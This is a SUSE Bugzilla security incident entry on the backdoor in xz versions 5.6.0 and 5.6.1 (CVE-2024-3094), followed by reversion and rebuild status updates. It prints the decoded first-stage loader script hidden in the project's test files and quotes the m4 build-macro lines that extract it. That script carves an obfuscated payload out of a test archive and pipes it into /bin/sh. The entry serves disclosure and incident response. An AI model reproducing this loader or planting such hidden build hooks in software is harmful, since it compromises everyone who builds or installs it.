|
Bugzilla – Full Text Bug Listing |
| Summary: | VUL-0: CVE-2024-3094: xz: backdoored 5.6.0,5.6.1 version | ||
|---|---|---|---|
| Product: | [Novell Products] SUSE Security Incidents | Reporter: | Marcus Meissner <meissner> |
| Component: | Incidents | Assignee: | Security Team bot <security-team> |
| Status: | NEW --- | QA Contact: | Security Team bot <security-team> |
| Severity: | Normal | ||
| Priority: | P3 - Medium | CC: | adrian.glaubitz, Andreas.Stieger, cathy.hu, danilo.spinella, dimstar, dmueller, eyadlorenzo, fkrueger, hector.oron, jie.gong, meissner, roger.whittaker |
| Version: | unspecified | ||
| Target Milestone: | --- | ||
| Hardware: | Other | ||
| OS: | Other | ||
| URL: | https://smash.suse.de/issue/399441/ | ||
| Whiteboard: | |||
| Found By: | --- | Services Priority: | |
| Business Priority: | Blocker: | --- | |
| Marketing QA Status: | --- | IT Deployment: | --- |
| Bug Depends on: | 1222448 | ||
| Bug Blocks: | |||
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
finds
tests/files/bad-3-corrupt_lzma2.xz
cat tests/files/bad-3-corrupt_lzma2.xz|tr "\t \-_" " \t_\-" >xx
xz -c -d <xx >yy
yy is:
####Hello####
#345U211267$^D330^W
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
I informed distros list. I reverted Base:System xz to 5.4.3 and submitted to Fatory. CRD: 2024-05-13 in vince. i doubt it will hold. I can confirm that the described timing behavior difference is observable with the described method on openSUSE Tumbleweed from yesterday. I can confirm it's gone with todays snapshot. Status update: We reverted xz in Base:System and openSUSE:Factory on March 28th. Factory got a fixed ftp tree done by the buildops and factory devs. A full factory bootstrap was triggered from a base built without a compromised xz. news.opensuse.org post was published. https://news.opensuse.org/2024/03/29/xz-backdoor/ |
the 5.6.1 version of xz is backdoored m4/build-to-host.m4 calls gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` and this: gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'